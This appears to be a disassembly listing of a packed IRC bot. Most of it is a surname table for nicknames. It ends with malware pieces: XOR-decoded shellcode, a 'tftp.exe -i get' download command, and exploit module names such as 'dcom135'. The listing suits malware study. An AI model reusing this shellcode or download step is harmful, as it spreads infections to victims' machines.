aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: .packed:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .packed:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: .packed:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: .packed:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: .packed:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .packed:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: .packed:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: .packed:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: .packed:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042DDCCo
aDavid db 'David',0 ; DATA XREF: .packed:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: .packed:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: .packed:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: .packed:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: .packed:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: .packed:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: .packed:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .packed:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: .packed:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: .packed:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: .packed:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .packed:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: .packed:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: .packed:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: .packed:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: .packed:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: .packed:0042DD48o
; .packed:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: .packed:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: .packed:0042DD40o
aColella db 'Colella',0 ; DATA XREF: .packed:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: .packed:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: .packed:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042DD30o
aClow db 'Clow',0 ; DATA XREF: .packed:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: .packed:0042DD28o
aClement db 'Clement',0 ; DATA XREF: .packed:0042DD24o
aClark db 'Clark',0 ; DATA XREF: .packed:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .packed:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: .packed:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: .packed:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: .packed:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: .packed:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: .packed:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: .packed:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: .packed:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: .packed:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: .packed:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: .packed:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: .packed:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: .packed:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: .packed:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .packed:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: .packed:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .packed:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: .packed:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: .packed:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: .packed:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .packed:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: .packed:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .packed:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042DC40o
aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: .packed:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: .packed:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: .packed:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: .packed:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: .packed:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: .packed:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: .packed:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: .packed:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: .packed:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042DBFCo
; .packed:0042DC00o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: .packed:0042DBF4o
align 10h
aBreed db 'Breed',0 ; DATA XREF: .packed:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: .packed:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: .packed:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: .packed:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: .packed:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .packed:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: .packed:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: .packed:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: .packed:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: .packed:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: .packed:0042DB94o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: .packed:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: .packed:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .packed:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: .packed:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: .packed:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .packed:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: .packed:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: .packed:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .packed:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: .packed:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: .packed:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: .packed:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: .packed:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: .packed:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .packed:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .packed:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .packed:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: .packed:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: .packed:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: .packed:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: .packed:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: .packed:0042DAC8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: .packed:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: .packed:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: .packed:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .packed:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: .packed:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: .packed:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: .packed:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: .packed:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: .packed:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: .packed:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: .packed:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .packed:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: .packed:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: .packed:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: .packed:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: .packed:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: .packed:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: .packed:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: .packed:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: .packed:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: .packed:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: .packed:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: .packed:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: .packed:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: .packed:0040ABE6o
; .packed:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: .packed:0040AC91o
dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: .packed:0040AD9Bo
dword_431604 dd 3F3F3Fh ; DATA XREF: .packed:loc_40AD92o
; sub_41AF8F:loc_41B052o
dword_431608 dd 334B32h ; DATA XREF: .packed:0040AD8Bo
dword_43160C dd 5058h ; DATA XREF: .packed:0040AD7Do
; .packed:0040AF89o ...
dword_431610 dd 4B32h ; DATA XREF: .packed:0040AD6Do
; .packed:0040AF79o ...
dword_431614 dd 454Dh ; DATA XREF: .packed:0040AD54o
; .packed:0040AF60o ...
dword_431618 dd 3839h ; DATA XREF: .packed:0040AD44o
; .packed:0040AF50o ...
dword_43161C dd 544Eh ; DATA XREF: .packed:0040AD34o
; .packed:0040AF41o ...
dword_431620 dd 3539h ; DATA XREF: .packed:0040AD26o
; .packed:0040AF33o ...
dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao
dword_43162C dd 5D4D5Bh ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: .packed:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: .packed:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: .packed:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .packed:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: .packed:0040B037o
dword_431660 dd 345053h ; DATA XREF: .packed:0040B02Do
dword_431664 dd 34h ; DATA XREF: .packed:0040B021o
dword_431668 dd 335053h ; DATA XREF: .packed:0040B014o
dword_43166C dd 33h ; DATA XREF: .packed:0040B003o
dword_431670 dd 325053h ; DATA XREF: .packed:0040AFF6o
dword_431674 dd 32h ; DATA XREF: .packed:0040AFE5o
; =============== S U B R O U T I N E =======================================
sub_431678 proc near ; DATA XREF: .packed:0040AFD8o
push ebx
push eax
xor [eax], eax
sub_431678 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43167C dd 305053h ; DATA XREF: .packed:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: .packed:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: .packed:0040AF97o
; ---------------------------------------------------------------------------
loc_431688: ; DATA XREF: sub_40B2B3+C4o
jmp short loc_43168C
; ---------------------------------------------------------------------------
loc_43168A: ; CODE XREF: .packed:loc_43168Cp
jmp short loc_431691
; ---------------------------------------------------------------------------
loc_43168C: ; CODE XREF: .packed:loc_431688j
call loc_43168A
loc_431691: ; CODE XREF: .packed:loc_43168Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316A0: ; DATA XREF: sub_40B2B3+A2o
jmp short loc_4316A4
; ---------------------------------------------------------------------------
loc_4316A2: ; CODE XREF: .packed:loc_4316A4p
jmp short loc_4316A9
; ---------------------------------------------------------------------------
loc_4316A4: ; CODE XREF: .packed:loc_4316A0j
call loc_4316A2
loc_4316A9: ; CODE XREF: .packed:loc_4316A2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43173C
retn
; ---------------------------------------------------------------------------
byte_43173C db 0E8h ; CODE XREF: .packed:00431739j
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_43177C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B477+10o
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; .packed:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; .packed:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
